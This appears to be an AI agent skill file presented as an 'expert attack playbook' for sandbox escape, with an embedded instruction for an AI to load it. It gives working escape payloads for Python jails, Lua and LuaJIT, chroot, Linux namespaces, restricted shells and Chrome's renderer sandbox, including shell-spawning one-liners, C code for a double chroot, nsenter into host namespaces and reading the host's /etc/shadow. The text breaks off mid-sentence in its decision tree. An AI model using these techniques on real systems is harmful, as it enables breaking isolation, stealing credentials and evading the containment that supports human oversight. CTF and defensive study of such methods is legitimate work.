sandbox-escape-techniques

What this skill does

# SKILL: Sandbox Escape — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert sandbox escape techniques across Python, Lua, seccomp, chroot, Docker/container, and browser sandbox contexts. Covers CTF pyjail patterns, seccomp architecture confusion, chroot fd leaks, namespace escape, and Mojo IPC abuse. Distilled from ctf-wiki sandbox sections and real-world container escapes. Base models often miss the distinction between sandbox types and apply wrong escape techniques.

## 0. RELATED ROUTING

- [browser-exploitation-v8](../browser-exploitation-v8/SKILL.md) — V8 exploitation for renderer RCE before browser sandbox escape
- [container-escape-techniques](../container-escape-techniques/SKILL.md) — Docker/container specific escape techniques
- [kernel-exploitation](../kernel-exploitation/SKILL.md) — kernel exploit for container/namespace escape
- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) — post-escape privilege escalation

### Advanced References

- [PYTHON_SANDBOX_ESCAPE.md](./PYTHON_SANDBOX_ESCAPE.md) — Full pyjail methodology: `__builtins__` recovery, keyword bypass, AST bypass, pickle escape
- [SECCOMP_BYPASS.md](./SECCOMP_BYPASS.md) — Architecture confusion, io_uring bypass, ptrace bypass, allowed syscall chaining

---

## 1. SANDBOX TYPE IDENTIFICATION

| Sandbox Type | Indicators | Typical Context |
|---|---|---|
| Python sandbox (pyjail) | Limited builtins, filtered keywords, `exec`/`eval` available | CTF, online judges, Jupyter |
| Lua sandbox | No `os`, `io` modules; restricted metatables | Game scripting, config |
| seccomp | syscall filtering, `prctl(PR_SET_SECCOMP)` | CTF pwn, container hardening |
| chroot | Changed root filesystem, limited `/proc` access | Legacy isolation |
| Docker/container | Namespaces, cgroups, reduced capabilities | Cloud, microservices |
| Browser (renderer) | OS-level sandbox (seccomp-bpf + namespaces on Linux) | Chrome, Firefox |
| Namespace isolation | PID/mount/network/user namespace | Container runtimes |

---

## 2. PYTHON SANDBOX ESCAPE (OVERVIEW)

See [PYTHON_SANDBOX_ESCAPE.md](./PYTHON_SANDBOX_ESCAPE.md) for full methodology.

### Quick Reference

| Technique | One-Liner |
|---|---|
| Subclass walk | `().__class__.__bases__[0].__subclasses__()` → find `os._wrap_close` → `__init__.__globals__['system']` |
| Import recovery | `__builtins__.__import__('os').system('sh')` |
| getattr bypass | `getattr(getattr(__builtins__, '__imp'+'ort__'), '__call__')('os')` |
| chr construction | `eval(chr(95)+chr(95)+'import'+chr(95)+chr(95))` |
| Pickle escape | `pickle.loads(b"cos\nsystem\n(S'sh'\ntR.")` |
| Code object | Construct `types.CodeType(...)` then `exec()` with custom bytecode |

---

## 3. LUA SANDBOX ESCAPE

### Restricted Environment Bypass

```lua
-- If debug library available:
debug.getinfo(1)                    -- information leakage
debug.getregistry()                 -- access global registry
debug.getupvalue(func, 1)           -- read closed-over variables
debug.setupvalue(func, 1, new_val)  -- overwrite upvalues

-- Recover os module via debug:
local getupvalue = debug.getupvalue
-- Walk upvalues of known functions to find references to os/io

-- If loadstring available:
loadstring("os.execute('sh')")()

-- If string.dump available:
-- Dump function bytecode, patch it, load modified function

-- Metatables escape:
-- If rawset/rawget blocked but __index/__newindex exists:
-- Forge metatable chain to access restricted globals
```

### Lua FFI Escape (LuaJIT)

```lua
-- LuaJIT FFI provides C function access
local ffi = require("ffi")
ffi.cdef[[ int system(const char *command); ]]
ffi.C.system("sh")

-- If require is blocked but ffi is preloaded:
-- Find ffi via package.loaded or debug.getregistry
```

---

## 4. CHROOT ESCAPE

| Technique | Condition | Method |
|---|---|---|
| Open fd to real root | File descriptor leaked from outside chroot | `fchdir(leaked_fd)` then `chroot(".")` |
| Double chroot | Process is root inside chroot | `mkdir("x"); chroot("x"); chdir("../../../..")` |
| TIOCSTI ioctl | Terminal access (fd 0 is a TTY) | Inject keystrokes to parent shell via `ioctl(0, TIOCSTI, &c)` |
| /proc access | `/proc` mounted inside chroot | `/proc/1/root/` → access real root filesystem |
| ptrace | CAP_SYS_PTRACE | Attach to process outside chroot |
| Mount namespace | Privileged | Mount real root into chroot |

### Double Chroot Escape

```c
// Must be root inside chroot
mkdir("/tmp/escape", 0755);
chroot("/tmp/escape");          // new chroot inside old chroot
// Old CWD is now outside the new chroot
// Navigate up to real root:
for (int i = 0; i < 100; i++) chdir("..");
chroot(".");                     // now at real root
execl("/bin/sh", "sh", NULL);
```

---

## 5. BROWSER SANDBOX ESCAPE (OVERVIEW)

### Chrome Sandbox Architecture (Linux)

```
Renderer Process:
  ├── seccomp-bpf (syscall filter)
  ├── PID namespace (isolated PIDs)
  ├── Network namespace (no direct network)
  ├── Mount namespace (minimal filesystem)
  └── Reduced capabilities (no CAP_SYS_ADMIN etc.)
```

### Escape Vectors

| Vector | Description |
|---|---|
| Mojo IPC bug | UAF or type confusion in Mojo interface handler in browser process |
| Shared memory corruption | Corrupt shared memory segments between renderer and browser |
| GPU process bug | Exploit GPU process (less sandboxed) as stepping stone |
| Kernel exploit | Escape directly via kernel vulnerability (bypasses all sandboxing) |
| Signal handling | Race condition in signal delivery across sandbox boundary |

### Mojo Interface Attack Pattern

```
1. Renderer RCE achieved (via V8/Blink bug)
2. Enumerate available Mojo interfaces from renderer
3. Find vulnerable interface (UAF on message handling, integer overflow in parameter validation)
4. Craft malicious Mojo message → trigger bug in browser process
5. Browser process is unsandboxed → full system access
```

---

## 6. NAMESPACE ESCAPE

### User Namespace Escalation

```bash
# If allowed to create user namespaces (unprivileged):
unshare -Urm  # Create new user + mount namespace as root inside
# Inside namespace: can mount, modify, etc.
# Escape requires kernel bug or misconfiguration
```

### PID Namespace Escape

```bash
# If /proc is from host (misconfigured container):
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Enters init process namespaces → host access
```

### Mount Namespace Tricks

```bash
# If can see host filesystem via /proc/1/root:
ls -la /proc/1/root/  # host root filesystem
cat /proc/1/root/etc/shadow  # read host files

# If can mount:
mount -t proc proc /proc
# Access host /proc entries
```

---

## 7. RBASH / RESTRICTED SHELL ESCAPE

| Technique | Method |
|---|---|
| vi/vim | `:!/bin/bash` or `:set shell=/bin/bash` then `:shell` |
| less/more | `!/bin/bash` |
| awk | `awk 'BEGIN {system("/bin/bash")}'` |
| find | `find / -exec /bin/bash \;` |
| python/perl/ruby | `python -c 'import pty;pty.spawn("/bin/bash")'` |
| ssh | `ssh user@host -t /bin/bash` |
| Environment | `export PATH=/usr/bin:/bin; /bin/bash` |
| cp | Copy `/bin/bash` to allowed directory |
| git | `git help config` → then `!/bin/bash` in pager |
| Encoding | `echo /bin/bash | base64 -d | sh` |

---

## 8. DECISION TREE

```
What type of sandbox?
├── Python sandbox (pyjail)?
│   └── See PYTHON_SANDBOX_ESCAPE.md
│       ├── __builtins__ available? → direct import
│       ├── Subclass walk: ().__class__.__bases__[0].__subclasses__()
│       ├── Keywords filtered? → chr()/getattr() construction
│       └── eval/exec available? → code object manipulation
│
├── Lua sandbox?
│   ├── debug library available? → getregistry/getupvalue
│   ├── FFI available (LuaJIT)? → ffi.C.system()
│   ├── loadstring available? → load arbitrary code
│   └── All restricted? → metatable chain exploitation
│
├── seccomp filter?
│   └── See SECCOMP_BYPASS.md
│       ├── Architecture confusion (32-bit syscalls from 64-bit)
│       ├── Allowed syscalls → ORW chain
│       ├── io_uring allowed? → bypass via